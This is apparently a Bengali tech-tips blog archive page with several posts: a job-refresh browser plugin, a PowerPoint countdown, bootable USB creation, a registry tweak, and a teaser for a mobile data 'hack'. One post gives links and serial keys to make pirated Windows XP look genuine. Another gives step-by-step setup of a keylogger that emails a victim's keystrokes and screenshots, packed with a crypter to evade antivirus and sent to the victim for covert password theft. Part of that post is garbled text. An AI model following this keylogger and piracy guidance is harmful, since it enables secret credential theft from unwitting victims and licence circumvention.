আসসালামু আলাইকুম
Hacking লেবেলটি সহ পোস্টগুলি দেখানো হচ্ছে৷ সকল পোস্ট দেখান
Hacking লেবেলটি সহ পোস্টগুলি দেখানো হচ্ছে৷ সকল পোস্ট দেখান

সোমবার, ১৫ এপ্রিল, ২০১৩

মাইক্রোওয়ার্কার্সে বেশী জব পাওয়ার কৌশল এবং একটি অসাধারণ প্লাগিন

আমাকে অনেকেই জিজ্ঞেস করে থাকেন মাইক্রোওয়ার্কার্সে বেশী জব পাওয়ার কৌশল কি? আসলে উত্তর একেবারে সহজ। বেশী করে রিফ্রেশ দিবেন,এইটার কোন বিকল্প নাই কারন মাইক্রোতে প্রতি মুহুর্তে জব আপডেট হয় এবং কিছু কিছু অল্প পজিশনের জব আছে যেইগুলা ৩০ সেকেন্ড থেকে ১ মিনিটে শেষ হয়ে যায়… সুতরাং পারলে প্রতি ৫ সেকেন্ডে একবার রিফ্রেশ দিবেন।
microworkersএইভাবে রিফ্রেশ দেওয়াটা আসলে খুবই বিরক্তিকর। কারন তখন অন্য কোন কাজ করা যায় না। রিফ্রেশ দিতে দিতে হাতের আঙ্গুল ব্যথা হয়ে যায়। অনেক সময় জব আসলেও রিফ্রেশ এর অভ্যাসবশত F5 এ চাপ দেওয়ায় অইটা আবার চলেও যায়। রাগে তখন মাথার চুল ছিড়তে ইচ্ছা করে (আমি নিজেই ভুক্তভোগী)। আবার অনেকে বলেছেন রিফ্রেশ দিতে দিতে কিবোর্ডের F5 বাটন এর অবস্থা নাকি কেরোসিন,আর কিছুদিন গেলে জানাজা দেওয়া লাগবে। তো এইটা থেকে বাচার উপায় কি? কখনো ভেবেছেন কি এমন কোন উপায় যদি থাকত রিফ্রেশ এর কাজটা অটোমেটিক হয়ে যেত আর জব আসলে এলার্ট দিয়ে দিত?
হ্যা,আপনার মনের কথাটা আমি বুঝি,আর তাই আপনার কষ্টের সমাধানের জন্যই এই পোস্ট। এইবার একটু নড়েচড়ে বসেন।
অটোমেটিক  রিফ্রেশ এর জন্য আমি একটি অসাধারন প্লাগিন ইউজ করি। প্লাগিনটির নাম হচ্ছে Auto Refresh Plus. এটি শুধু গুগল ক্রোম ইউজারদের জন্য । আপনাদের অনেকের কাছে হয়তো আরো অনেক অটো রিফ্রেশ এর জন্য প্লাগিন আছে। আমিও অনেকগুলা ইউজ করেছি। আমার কাছে এটিই সেরা মনে হয়েছে। কারন, এইটার কিছু ফিচার এটাকে অন্যগুলা থেকে আলাদা করে দিয়েছে। অন্য রিফ্রেশার প্লাগিন দিয়েও ৫/১০ সেকেন্ড পর পর অটোমেটিক রিফ্রেশ দেওয়া যায়,কিন্তু ওইগুলার অসুবিধা হল জব আসলেও রিফ্রেশ বন্ধ হয় না যদি না আপনি নিজে বন্ধ করেন। যার ফলে ভুলবশত রিফ্রেশ বন্ধ না করলে জব আসলেও আবার চলে যায় (রাগে চুল ছিড়ার ইমো হবে)।কিন্তু Auto Refresh Plus এর চমৎকার সুবিধা হচ্ছে জব আসলে রিফ্রেশ অটোমেটিক বন্ধ হয়ে যায় এবং একটি পপআপ নটিফিকেশন দিয়ে জানিয়ে দেয় জব হাজির :) । ভাবছেন কিভাবে সম্ভব? বলছি বলছি…
প্রথমে ক্রোম অয়েব স্টোর থেকে Auto Refresh Plus ডাউনলোড এবং ইন্সটল করে নিন। সরাসরি এই লিঙ্কে গিয়ে ডাউনলোড করুন।
Add to Chrome এ ক্লিক করুন। ডাউনলোড হয়ে গেলে ইন্সটল এ ক্লিক করুন।
ইন্সটল হয়ে গেলে ব্রাউজার এর উপরে ডান কোনায় Auto Refresh Plus বাটন দেখতে পাবেন। এইটার উপর মাউস এর রাইট বাটন ক্লিক করে Options এ যান।
নিচের চিত্রের মতো দেখতে পাবেন। স্ক্রল করে নিচে আসুন। পেজ মনিটর অপশন থেকে Enable This Feature এ ঠিক চিহ্ন দিন। Page Monitor Pattern থেকে Popup Notification once FIND the target সিলেক্ট করুন। Play Sound অপশন থেকে  Play sound candidate 1 (1 second) অথবা Play sound candidate 2 (6 seconds) সিলেক্ট করুন। Save করে বেরিয়ে আসুন। ভালভাবে বুঝার জন্য নিচের স্ক্রিনশটটি দেখুন।
1
কাজ অর্ধেক শেষ। এবার ব্রাইজার এর উপরের ডান কোনায় থাকা Auto Refresh Plus বাটনে সরাসরি ক্লিক করুন। Time Interval থেকে 5 Seconds সিলেক্ট করুন। আপনি চাইলে ম্যানুয়েলি ইচ্ছামত টাইম বসাতে পারবেন। এখন Page Monitor Once Find The Target বক্সে লিখুন 1 Jobs ।উপরের Start বাটনে ক্লিক করে বেরিয়ে আসুন। ভালভাবে বুঝার জন্য নিচের স্ক্রিনশটটি দেখুন।
2
এখন প্রতি ৫ সেকেন্ড পর পর অটোমেটিক রিফ্রেশ হতে থাকবে। আপনি চাইলে এখন বিশ্রাম নিতে পারেন অথবা অন্য ট্যাব খুলে কাজ করতে পারেন। এবার কিছুক্ষন অপেক্ষা করুন। যখনই আপনার মাইক্রো পেইজে ১টি জব আসবে তখনি রিফ্রেশ বন্ধ হবে এবং Auto Refresh Plus সাউন্ডসহ নিচের চিত্রের মত পপআপ নোটিফিকেশন দিবে।
3
যেহেতু সাউন্ডসহ নোটিফিকেশন দিবে সুতরাং আপনি অন্য কাজে ব্যস্ত থাকলেও এলার্ট পাবেন। এবার জবটি কমপ্লিট করুন এবং আগের মত Auto Refresh Plus বাটনে ক্লিক করে টাইম সিলেক্ট করে Start বাটনে ক্লিক করুন। আপনি চাইলে এখন ফেসবুক ব্রাউজ/চ্যাট করতে পারেন অথবা অন্য কাজ করতে পারেন আগের মত রিফ্রেশ হতে থাকবে এবং জব আসলে সাউন্ডসহ এলার্ট দি‍য়ে বলবে বান্দা হাজির :) । আশা করা যায় এখন থেকে কোন জব মিস হবে না :D ।অলস মানুষ আমি।অনেক কষ্ট করে লিখেছি। এর মাঝে দুইবার কারেন্ট চলে গেছে। যাই হোক,কেমন লাগল জানাবেন।

মাইক্রোসফট পাওয়ারপয়েন্টে টাইম কাউন্টডাউন অ্যানিমেশন (mega post)

আজকের পর্বে থাকছে পাওয়ারপয়েন্টে টাইম কাউন্টডাউন অ্যানিমেশন করার কৌশল। পুরনো দিনের সাদাকালো মুভি শুরুর আগে গোলাকার চাকতির মাঝে উল্টো দিক থেকে সংখ্যা গণনা করার পর মুভি শুরু হতো। অ্যাডোবি ফ্ল্যাশ দিয়ে কাজটি করা যায়, তবে তা করতে বেশ ঝামেলা পোহাতে হবে। ফ্ল্যাশের চেয়েও আরো কম সময়ে ও খুব সহজেই পাওয়ারপয়েন্টে করা যাবে। পাওয়ারপয়েন্ট স্লাইড বানানোর পর যদি তা ফ্ল্যাশ ফাইল হিসেবে সংরক্ষণ করা হয় তবে কারো বোঝার উপায় থাকবে না যে তা পাওয়ারপয়েন্টের সাহায্যে করা হয়েছে। টাইম কাউন্টডাউন ইফেক্টযুক্ত স্লাইড বানানোর কৌশল ধাপে ধাপে নিচে বর্ণনা করা হলো।
countdown animation
ধাপ-১ :
প্রথমে পাওয়ারপয়েন্ট চালু করে খালি একটি স্লাইড নিতে হবে। তারপর স্লাইডের ব্যাকগ্রাউন্ডের রঙ কালো নির্বাচন করতে হবে। ২০০৭ ভার্সনে কাজটি করার জন্য খালি স্লাইডে বাটন ক্লিক করে Format Background-এ নির্বাচন করতে হবে। তারপর Solid Fill রেডিও বাটন চেক থাকা অবস্থায় কালার বাকেট থেকে কালো রঙ নির্বাচন করে Apply to all-এ ক্লিক করুন, এতে নতুন স্লাইড যোগ করা হলে তা কালো রঙয়ের হবে ।
ধাপ-২ :
ব্যাকগ্রাউন্ড নির্বাচনে স্লাইডের মাঝখানে সাদা রঙয়ের বড় আকারের একটি বৃত্ত আঁকুন। বৃত্ত আঁকার কাজ করার জন্য Insert থেকে গোলাকার শেপ নির্বাচন করতে হবে এবং সুন্দরভাবে স্লাইডের মাঝ বরাবর বড় করে একটি বৃত্ত আঁকতে হবে। বৃত্তের আকার একটি নির্দিষ্ট মাপে থাকলে দেখতে নিখূঁত লাগবে, তাই তার দৈর্ঘ্য ও প্রস্থ একই হতে হবে। বৃত্তের ওপরে ডবল ক্লিক বা বৃত্তটি সিলেক্ট করে রিবন বার থেকে Format সিলেক্ট করতে হবে। এরপর ফরমেট বারের ডানপাশে Size লেখা ঘরে দৈর্ঘ্য ও প্রস্থের স্থানে ৬ লিখে এন্টার চাপুন। এরপর বৃত্তটি সিলেক্ট করে তা স্লাইডের একেবারে মাঝ বরাবর স্থাপন করতে হবে ।
ধাপ-৩ :
বৃত্তটি সিলেক্ট করে Shape Fill-এ No Fill এবং Shape Outline থেকে সাদা রঙ নির্বাচন করতে হবে। এরপর Shape Outline > Weight > More Lines অপশন থেকে বৃত্তের ধার মোটা করার জন্য উইডথ লেখা স্থানে ১০ বা ১২ এবং Compound Type থেকে Double লাইন সিলেক্ট করতে হবে (চিত্র-১)।
ধাপ-৪ :
বৃত্তের ভেতরে সংখ্যা বা অক্ষর লেখার জন্য ইনসার্ট থেকে টেক্সট বক্স এনে তা বৃত্তাকার শেপটির মাঝখানে স্থাপন করতে হবে। টেক্সট হিসেবে ৫ লিখুন এবং ফন্ট বদলে তা Arial Black এবং ফন্টের আকার ২০০ বা ২৫০ টাইপ করতে হবে। খেয়াল রাখবেন যাতে অক্ষরটি বৃত্তের পরিধির বাইরে চলে না যায়। অন্য যেকোনো ফন্ট ব্যবহার করা যাবে তবে অবিকল আসল ইফেক্টের জন্য এরিয়াল ফন্টটিই ভালো দেখাবে ।
ধাপ-৫ :
টাইম কাউন্টডাউনের ব্যাপারটি পুরোপুরি ফিল্মের মতো বানানোর জন্য বৃত্তের বা স্লাইডের মাঝখানে উলম্ব ও আড়াআড়িভাবে একটি করে দাগ টানতে হবে। দাগ টানার জন্য Insert থেকে Line নিতে হবে। এর মতো করে স্লাইডে দুটি দাগ টানতে হবে। দাগ মোটা করার জন্য শেপ আউটলাইন থেকে ওয়েইটের মান ৬ বা ৮ করতে হবে।
ধাপ-৬ :
এরপর বৃত্তটিকে সিলেক্ট করে Custom Animation থেকে Add Effect >Entrance >Wheel নির্বাচন করতে হবে। এরপর বৃত্তটিকে সিলেক্ট থাকা অবস্থায় ডানপাশে আসা কাস্টম অ্যানিমেশন প্যানেল থেকে Start অপশনে On Click-এর পরিবর্তে After Previous এবং Spokes-এর ঘরে ৪-এর বদলে ১ লিখে দিতে হবে। অ্যানিমেশনের স্পিড মিডিয়াম বা ফাস্ট করে দিতে হবে।
ধাপ-৭ :
এবার ৫ লেখাটিকে বা টেক্সট বক্সটিকে সিলেক্ট করে একই পদ্ধতিতে Add Effect > Entrance > Fade দিয়ে অ্যানিমেশন প্রয়োগ করতে হবে। Start অপশনে On Click-এর পরিবর্তে With Previous এবং স্পিড মিডিয়াম বা ফাস্ট প্রয়োগ করতে হবে।
ধাপ-৮ :
এবার Exit Effect ব্যবহার করার পালা। বৃত্ত ও টেক্সট বক্স উভয়কেই একসাথে সিলেক্ট করতে হবে। উভয়কেই সিলেক্ট করার জন্য Ctrl বাটন চেপে মাউসের সাহায্যে বৃত্ত ও বক্স সিলেক্ট বা Ctrl+A চেপেও দুটিকে একসাথে সিলেক্ট করা যাবে। Add Effect > Exit > Fade সিলেক্ট করে Start অপশনে On Click-এর পরিবর্তে After Previous এবং স্পিড মিডিয়াম বা ফাস্ট করে দিতে হবে। বৃত্ত ও টেক্সট বক্স উভয়কেই একই রকম স্পিড ও অ্যানিমেশন স্টাইল দিতে হবে।
ধাপ-৯ :
এবার স্লাইড ট্রান্সমিশনের ক্ষেত্রে Advance Slide-এর ঘরে On Mouse Click-এর পরিবর্তে Automatically After-এ টিক চিহ্ন দিতে হবে।
ধাপ-১০ :
এবার বামপাশে ছোট করে দেখানো স্লাইড প্রিভিউতে ১নং স্লাইড সিলেক্ট করে Ctrl+C চেপে কপি করে Ctrl+V চেপে তা পাঁচবার পেস্ট করতে হবে। এ কাজ করার পর একই রকমের ৬টি স্লাইড দেখা যাবে। প্রথম স্লাইডে ৫ লেখা থাকবে এবং পরের স্লাইডগুলোর টেক্সট বক্সের অক্ষর বদলে যথাক্রমে ৪,৩,২,১ ও ০ লিখতে হবে।
ধাপ-১১ :
এখন প্রথম স্লাইড সিলেক্ট করে F5 চেপে বা মাউসের সাহায্যে স্লাইড শোতে ক্লিক করে স্লাইডগুলো ঠিকমতো টাইম কাউন্টডাউন ইফেক্ট কাজ করে কি না পরীক্ষা করে দেখতে হবে। যদি কোনো ভুল থাকে তবে কাস্টম অ্যানিমেশনে ঠিকভাবে অ্যানিমেশনের গতি ও স্লাইডের অ্যানিমেশন চালু হবার ধারাবাহিকতা ঠিক আছে কি না তা খতিয়ে দেখতে হবে।
ধাপ-১২ :
সব কিছু ঠিক থাকলে এবং পাওয়ারপয়েন্টকে ফ্ল্যাশে রূপান্তর করার থার্ড পার্টি সফটওয়্যার (ispring Free) ইনস্টল করা থাকলে তা ফ্ল্যাশ ফাইল হিসেবে সেভ করে চালিয়ে দেখুন। ফ্ল্যাশের কাজ আর পাওয়ারপয়েন্টে করা কাজের মাঝে কোনো তফাৎ খুজে পাওয়া যাচ্ছে কি?
কাজটিতে আরো নতুন মাত্রা যোগ করার জন্য স্লাইডগুলো কপি করার আগে প্রথম স্লাইডে টিকটিক বা ঘড়ির কাঁটার আওয়াজ যুক্ত করতে পারেন Add Sound অপশন থেকে। এতে ইফেক্টটি আরো বেশি আকর্ষণীয় হবে। শেষ স্লাইডে ০ লেখার বদলে GO বা START লিখে দিলে আরো ভালো লাগবে। কাজটি আলাদা ৬টি স্লাইডে না করে এক স্লাইডেও করা যায়, তবে তা এডিট করার সময় কিছু সমস্যার সম্মুখীন হয়ে হয়। তাই সহজ পদ্ধতিতেই কাজটি দেখানো হয়েছে। আশা করি টিউটরিয়ালটি আপনাদের কাজে আসবে।

রবিবার, ৩০ ডিসেম্বর, ২০১২

আপনার USB Pen-drive কে Wiidows 7 দ্বারা Bootable করে ফেলুন খুব সহজে

বর্তমানে নতুন যত কম্পিউটার ব্যবহারকারী আছেন তার বিরাট অংশই Laptop অথবা Notebook/Netbook  PC ব্যবহার করেন। কোন কারনে যদি কম্পিউটারের CD/DVD Rom নষ্ট হয়ে যায় তখন কম্পিউটারে অপারেটিং সিস্টেম সেটাপের প্রয়োজন হলে ব্যবহারকারীর মাথায় পড়ে হাত, আর সেটা যদি হয় নোটবুক তবেত আর কথায় নাই।
আজ এই সমস্যার সমাধান দেব আপনাদেরকে। আমি আপনাদেরকে শেখাব কিভাবে কোন software ব্যবহার না করেও Pen-drive দ্বরা Windows setup দেওয়া যায়।
এর জন্য আপনার প্রয়োজন হবে একটি 8 GB (৮ জিবি) Pen drive. ও windows 7 PC.
কার্যপ্রণালী:
১. প্রথমে ৮ GB Pen-drive টাকে পিসির USB port-এ লাগান। Pen-drive কে NTFS দিয়ে format করুন।
২. এখন Command Prompt মনেুতে যান। Start menu >>  All Programs>> Accessories>> Command Prompt (Open it). নিচের মত ছবি আসবে।
৩. এখন লিখুন >diskpart  এবং enter চাপুন।
৪. DISKPART> list disk  লিখে enter চাপুন।
৫. DISKPART> select disk 1  লিখে enter চাপুন।(এখানে আপনার Pen-driveকে select করুন, এটি সাধারনত disk 1 হয়ে থাকে।
৬. DISKPART> clean   লিখে enter চাপুন।
৭. DISKPART> Create partition primary   লিখে enter চাপুন।
৮. DISKPART> active    লিখে enter চাপুন।
9. DISKPART> format quick লিখে enter চাপুন।
       100% হওয়া পর্যন্ত অপেক্ষা করুন।
১০. DISKPART> assign  লিখে enter চাপুন। Successful দেখালে বরে হয়ে আসুন।
এখন এই Pen-driveএ সিডি থেকে Setup file গুলো কপি করুন। তাহলেই কাজ শেষ।
এখন এটি দিয়ে যেকোন পিসিতে Windows setup দিতে পারবেন।
কোন সমস্যা হলে যানাবেন।

রবিবার, ১৬ সেপ্টেম্বর, ২০১২

উইন্ডোজ XP কে জেনুইন করার আরেকটি সহজ পদ্ধতি!!! (মাত্র ২৫৬ কেবি)

বিসমিল্লাহির রহমানির রাহিম
মহান আল্লাহ-তায়ালা সবাইকে দুনিয়াতে শান্তি ও আখিরাতে মুক্তি দান করুন। আমিন- এই কথা বলেই আমি আজকে আমার পোষ্ট শুরু করলাম।

যা কিছুই বলেন ভাই যত প্রকারের OS আছে তার মধ্যে যার কাছে যেটাই ভালো লাগুক না কেন। আমার কাছে কিন্তু এখনও Windows XP র চাইতে কোনটাই বেশী ভালো লাগে না। যদিও অন্যান্য OS এ আরও অনেক বেশী সুযোগ-সুবিধা আছে। কিন্তু আমার সফটওয়্যার কালেকশনের অনেক প্রয়োজনীয় সফটই বেশীরভাগ সময়ে অন্যান্য OS এ সাপোর্ট করে না। অর্থাত ৩২ বিট এর সফট সাধারণত ৬৪ বিট এ সাপোর্ট করে না। তাই অনেক সময় Windows 7 সেটআপ করেও আবার নতুন করে Windows XP সেটআপ করেতে হয়। তা না হলে যে আমার প্রয়োজনীয় সফটগুলো ব্যবহার করতে পারব না। তাই আমাদের মধ্যে অনেকেই আছেন যারা সব সময়ই Windows XP ব্যবহার করে থাকি।

তাই অনেকেরই মনে চায় যে আমার উইন্ডোজ এক্সপিটাকে যদি জেনুইন করতে পারতাম। অবশ্যই জেনুইন করে ব্যবহার করার একটা আলাদা মজা আছে। আবার মাইক্রোসফট এর অনেক সফটওয়্যারই আছে যেগুলো জেনুইন উইন্ডোজ ছাড়া ব্যবহার করা যায় না। তাই উইন্ডোজকে জেনুইন করা তখন অনেক প্রয়োজনীয় হয়ে পড়ে।

আমার কাছে একটি ছোট্র সফট আছে যার দ্বার আমি আমার এক্সপিকে জেনুইন করতে সক্ষম হয়ছি। ভাবলাম আমার যখন কাজে লেগেছে তাহলে সবার সাথে শেয়ার করি। সফটটির ওজন মাত্র ২৫৬কেবি।

যদি মনেকরেন আপনার প্রয়োজন আছে বা ভবিষ্যতে প্রয়োজন পড়তে পারে তাহলে নিচের লিংকে ক্লিক করে ডাউনলোড করে নিতে পারেন।

যেকোন সফটই ব্যবহার বিধি ছাড়া কিন্তু  ইউজ করতে সমস্যা হয় তাই সফটটির Instruction ও এক্সির জেনুইন সিরিয়াল ডাউনলোড করার জন্য নিচের লিংকে ক্লিক করুন।

[আপলোডের সুবিধার্থে আমি এগুলোকে .rar করে রেখেছি। তাই ডাউনলোড করে WinRAR বা 7zip দিয়ে Extract করে নিন। যদি আপনার কাছে WinRAR বা 7zip না থাকে তাহলে আপনাদের সুবিধার্থে ডাউনলোড করার জন্য নিচের লিংক গুলো ফলো করুন এবং ডাউনলোড করেই WinRAR বা 7zip সেটআপকরে নিন ।( খুবই কাজের সফটওয়্যার)]
“CLICK HERE FOR DOWNLOAD: THE WinRAR”(মাত্র ১.৩৩ এম বি)
“CLICK HERE FOR DOWNLOAD: 7zip” (মাত্র ৯০০ কেবি)
 WinRAR বা 7zip সেটআপ হয়ে গেলে Windows XP Key Finder ফাইলটিকে এবং Instrucatio of Windows XP Key Finder দুইটিকেই Extract করে নিন।
Windows XP Key Finder সেটআপের নিয়মাবলীটি আপনার ডাউনলোড হওয়া ফাইলের সাথেই পাবেন। তবে এখানেও লিখে দিলাম।
#প্রথমে Windows XP Key Finder নামের ফাইলটি ওপেন করুন। তারপর উপরে Option মেনু থেকে Change Windows Key তে ক্লিক করুন।  ফাইলের মধ্যে যে নোটপ্যাড ফাইলটি ছিল সেটা ওপেন করে সিরিয়াল কি পাবেন। সিরিয়াল কী গুলো বক্সের মধ্যে দেখে দেখে সঠিকভাবে লিখে দিন। তারপর Change এ ক্লিক করুন সঠিকভাবে সিরিয়ার নাম্বারটি লেখা হলে মেসেজ শো করবে Your product key has been successfully updated. ব্যাস হয়ে গেল আপননার উইন্ডোস এক্সপি জেনুইন। এখন বলতে পারেন যে উইন্ডোজ জেনুইন কি না? সেজন্য Statr > Run এ যান তারপর oobe/msoobe /a লিখে এন্টার চাপুন নিচের মত ছবি দেখলেই বুঝবেন আপনার উইন্ডোজ জেনুইন হয়েছে।
undefined
ভাই আমিওতো আপনাদের মতই রক্তে মাংসে গড়া একজন মানুষ তাই আমারওতো ভূল-ত্রূটি থাকতেই পারে।

শনিবার, ২১ জুলাই, ২০১২

হ্যাকিং এর মেগা টিউন। সব অ্যাকাউন্ট হ্যাক।

আমরা এবার keylogger দিয়ে হ্যাক করব। আমরা এর মাধ্যমে যেকোনো ধরনের পাস হ্যাক করতে পারব।
তাসারা মজার বিষয় টা হল এটা কন অ্যান্টিভাইরাস detect করতে সক্ষম হবে না।
এই রকম টিউন টা আমি কিছু দিন আগে করেসিলাম কিন্তু আমি চেয়েসিলাম পর্ব করে টিউন করতে তবে এখন আমি আপনাদের একবারেই মূল বিষয় টা শিখাতে চাই কারন আমার ওয়েবসাইট এ আপনারা মহা মূল্যবান keylogger আর crypter পাবেন। এগুলো এখন আমি আপনাদের দিতে পারসি না
কারন আপনিরা ব্যবহার করতে পারবেন না। সে জন্নই এই পোস্ট টি করা।আমি পরে হয়ত চেইন টিউন করব তবে এই টিউন থেকে আপনারা মূল বিষয় টা বুঝতে পারবেন আসা করি।


প্রথমে আমরা জেনে নিব keylogger কি?
Keyloggin বা Keystroke Logging হে􀇱 একটা হাড􀅪 ওয়􀆟ার অথবা একটা সফটওয়􀆟ার গত িসে􀊁ম মিনটর 􀄺যটা একটা কি􀉑উটার এর 􀆵িত 􀇅 কী 􀄺বাড􀅪
এর 􀄺􀊀াক মিনটর / পয􀅪েব􀇘ণ কের 􀄺রকড􀅪 কের ওই কি􀉑উটার এর ইউজার এর অ􀇷ােত । কীলিগং হাড􀅪 ওয়􀆟ারগত অথবা সফটওয়􀆟ারগত 􀄺যেকােনা উপােয় করা
হয় । একটা অ􀆟াি􀈥ভাইরাস এ কীলগার 􀄺ক 􀄺􀆪াজান এবং ব􀆟াকেডার িহেসেব সনা􀇏 কের ।
আমি আপনাদের কে refelect keylogger আর সাথে পরিচয় করিয়ে দিয়েসি তবে এবার জেতার সাথে পরিচয় করাব সেতা project neptune এটা দিয়ে আপনি আরও বেসি কিছু করতে পারবেন।
ভিকটিম যে যে কাজ করবে টা আপনার কাসে চলে আসবে সাথে ডেক্সটপ আর ইমেজ অ আসবে।
তখন আপনি পেয়ে যাবেন তার সকল পাস।
আসা করি বুঝতে পেরেসেন না বুঝলে আমি আর পরের টিউন এ বিস্তারিত বলব।
এখন build up করার পালা।

ডাউনলোড করে নিন

  • run as administrator করে ওপেন করুন project neptune keylogger টা।
Screenshot 1 1 হ্যাকিং এর মেগা টিউন। সব অ্যাকাউন্ট হ্যাক।

  • এই রকম একটা উইন্ডো ওপেন হবে।
Screenshot 2 হ্যাকিং এর মেগা টিউন। সব অ্যাকাউন্ট হ্যাক।
  • ইমেইল setting: এ example@examplesserver.com এই ঘরে আপনার জিমেইল আইডি দিন।
  • sending email account password এ আপনার অ্যাকাউন্ট আর পাস দিন। ভয় নেই হ্যাক হবেন না এইটা এর official সাইট থেকে ডাউনলোড করা। এবার email to recive keystroke logs এ আপনার জিমেইল আইডি টিই দিন।
Screenshot 1 2 হ্যাকিং এর মেগা টিউন। সব অ্যাকাউন্ট হ্যাক।
  • system wide এ কন কিছু পরিবর্তন করবার দরকার নেই।
 হ্যাকিং এর মেগা টিউন। সব অ্যাকাউন্ট হ্যাক।
  • extra option এ আপনি error massage দিতে পারেন।
  • আসারা এর কন কিছু পরিবর্তন করার দরকার নেই।
 হ্যাকিং এর মেগা টিউন। সব অ্যাকাউন্ট হ্যাক।
  • এবার server creation এ কিছু কাজ করতে হবে। দাগ দেয়া জায়গায় কয়েক বার ক্লিক করুন।set server process as : এ আপনার সারভার এর নাম দিন।
  • এবার generate new server এ ক্লিক করে সারভার টি browse করে সেভ করুন।
এবার আমরা crypter এর সাথে পরিচয় হব।
Cryptography : এস􀉑েক􀅪 wikipedia বেল
Cryptography (or cryptology; from Greek κρυπτός, “hidden, secret”; and γράφειν, graphein, “writing”, or -λογία, -logia,
“study”, respectively) is the practice and study of techniques for secure communication in the presence of third parties
(called adversaries).
অথ􀅪াৎ সংে􀇘েপ তথ􀆟 􀄺গাপন বা লুকােনার প􀈝িত 􀄺ক cryptography বলা হয় । এটা আসেল এটা িবশাল িব􀇷ান । এ ব􀆟াপাের graduation certificate ও
􀄺দয়া হয়
সুরু করি কাজ আপনারা আনকে বিভিন্ন crypter পাবেন তবে কাজ করবেনা কারন অ্যান্টিভাইরাস ত আপডেট হয় তাই আমরাও  আপডেট crypter ব্যবহার করব। জাতে অ্যান্টিভাইরাস detect করতে না পারে।

this crypter download করে নিন।
 হ্যাকিং এর মেগা টিউন। সব অ্যাকাউন্ট হ্যাক।
এবার crypter টা ওপেন করুন।
 হ্যাকিং এর মেগা টিউন। সব অ্যাকাউন্ট হ্যাক।
  • সুধু যে যে জায়গায় দাগ দেয়া সেগুলর কাজ আমরা করব।
  • প্রথমে browse for your server hare এ আপনি যেই ফাইল যে তৈরি করলেন সেটা সিলেক্ট করুন।
  • browse for the stub এ আপনি এই crypter এর ফোল্ডার এ একটা stub নামে প্রোগ্রাম দেখতে পারবেন সেটা সিলেক্ট করুন।
  • click hare to generate এ কয়েকবার ক্লিক করুন।
  • এর ডান পাসে দাগ দেয়া দুইতি অপশন সিলেক্ট করে finilize crypter data অপশন এ যান এর পর crypt data এর মাধ্যমে crypt করুন
browse করে ফাইল টি সেভ করুন এর পাঠিয়ে দিন ভিকটিম এর কাসে।
তার পর থেকেই আপনি পেতে থাকবেন তার সবকিসু।
আর এ সব কিছু হবে গোপনে।
সবাই ভাল থাকুন। আর আমার ওয়েবসাইট আর সাথেই থাকুন।

কেও কার ক্ষতির জন্য ব্যবহার করলে আমি দায়ি না।

KNOW HACKING|NO HACKING

রাইট বাটন ক্লিক এ Copy To and Move To অপশনগুলো যুক্ত করবেন যেভাবে. . . . .

আমরা অনেকেই এই টিপসটির ব্যাপারে জানি। আবার অনেকেই জানি নাহ।

নিচের ছবিটি লক্ষ্য করুন:
right click menu রাইট বাটন ক্লিক এ Copy To and Move To অপশনগুলো যুক্ত করবেন যেভাবে. . . . .

এটি আমার পিসির রাইট ক্লিক মেনু। এখানে কপি টু ফোল্ডার .. .   এবং মুভ টু ফোল্ডার . . . .  নামে দুটি এক্সটা অপশন রয়েছে। আপনার চাইলে সহজেই এটি আপনার পিসিতেও একটিভ করতে পারবেন।

যা যা করতে হবে:
*****Be sure to back up the Registry file before you begin.***********


১। র্স্টাট মেনু থেকে রান অপশনটিতে ক্লিক করুন।
119 রাইট বাটন ক্লিক এ Copy To and Move To অপশনগুলো যুক্ত করবেন যেভাবে. . . . .
২।এরপর লিখুন regedit এন্টার দিন।
217 রাইট বাটন ক্লিক এ Copy To and Move To অপশনগুলো যুক্ত করবেন যেভাবে. . . . .
৩। রেজেস্ট্রি এডিটর আসবে।
311 রাইট বাটন ক্লিক এ Copy To and Move To অপশনগুলো যুক্ত করবেন যেভাবে. . . . .
৪। সেখান থেকে নিচের কমান্ড গুলো অনুসরণ করুণ:

HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers
410 রাইট বাটন ক্লিক এ Copy To and Move To অপশনগুলো যুক্ত করবেন যেভাবে. . . . .
58 রাইট বাটন ক্লিক এ Copy To and Move To অপশনগুলো যুক্ত করবেন যেভাবে. . . . .

৫। এখন ContextMenuHandlers ফোল্ডারে রাইট বাটন এ ক্লিক করে নতুন কী যোগ করুন।
66 রাইট বাটন ক্লিক এ Copy To and Move To অপশনগুলো যুক্ত করবেন যেভাবে. . . . .
৬। কি টির নাম দিন কপি টু।
75 রাইট বাটন ক্লিক এ Copy To and Move To অপশনগুলো যুক্ত করবেন যেভাবে. . . . .
৭। এখন  কপি টু ফোল্ডারটি সিলেক্ট থাকা অবস’ায় ডান দিকের ডিফল্ট মেনুতে ডাবল ক্লিক করুন। একটি ডায়ালগ বক্স আসবে।
83 রাইট বাটন ক্লিক এ Copy To and Move To অপশনগুলো যুক্ত করবেন যেভাবে. . . . .
৮। এখন ভেল্যু ডাটা অপশনে নিচের কোড টি কপি-পেস্ট করে ওকে দিন।

{C2FBB630-2971-11D1-A18C-00C04FD75D13}

১০। এখন আবার আরেকটি কি যোগ করুন । নাম দিন মুভ টু। এরপর ডিফল্ট বক্সে ডাবল ক্লিক করে ডাটা ভেল্যুতে নিচের কোড টি কপি পেস্ট করুন।

{C2FBB631-2971-11D1-A18C-00C04FD75D13}


১১। এখন রেজেষ্ট্রি এন্ট্রি বক্সটি বন্ধ করুন। একবার পিসি রির্ষ্টাট দিন।

এর পর আপনার রাইট বাটনে কপি – টু এবং মুভ – টু অপশনটি আসবে। icon biggrin রাইট বাটন ক্লিক এ Copy To and Move To অপশনগুলো যুক্ত করবেন যেভাবে. . . . .

বুধবার, ১১ জুলাই, ২০১২

গ্রামীনফোনের মেগাবাইট হ্যাক করুন! P4 Service দিয়ে এবার Unlimited ডাউনলোড করুন সবকিছু!!!

সবাইকে সালাম ও শুভেচ্ছা। আমাদের ৫৩ তম পোস্টে জযেন করার জন্য সবাইকে অভিনন্দন। আজ একটি ছোট্ট পোস্ট উপহার দিয়ে আজকের দিনের মত পোস্টের কাজ শেষ করব।
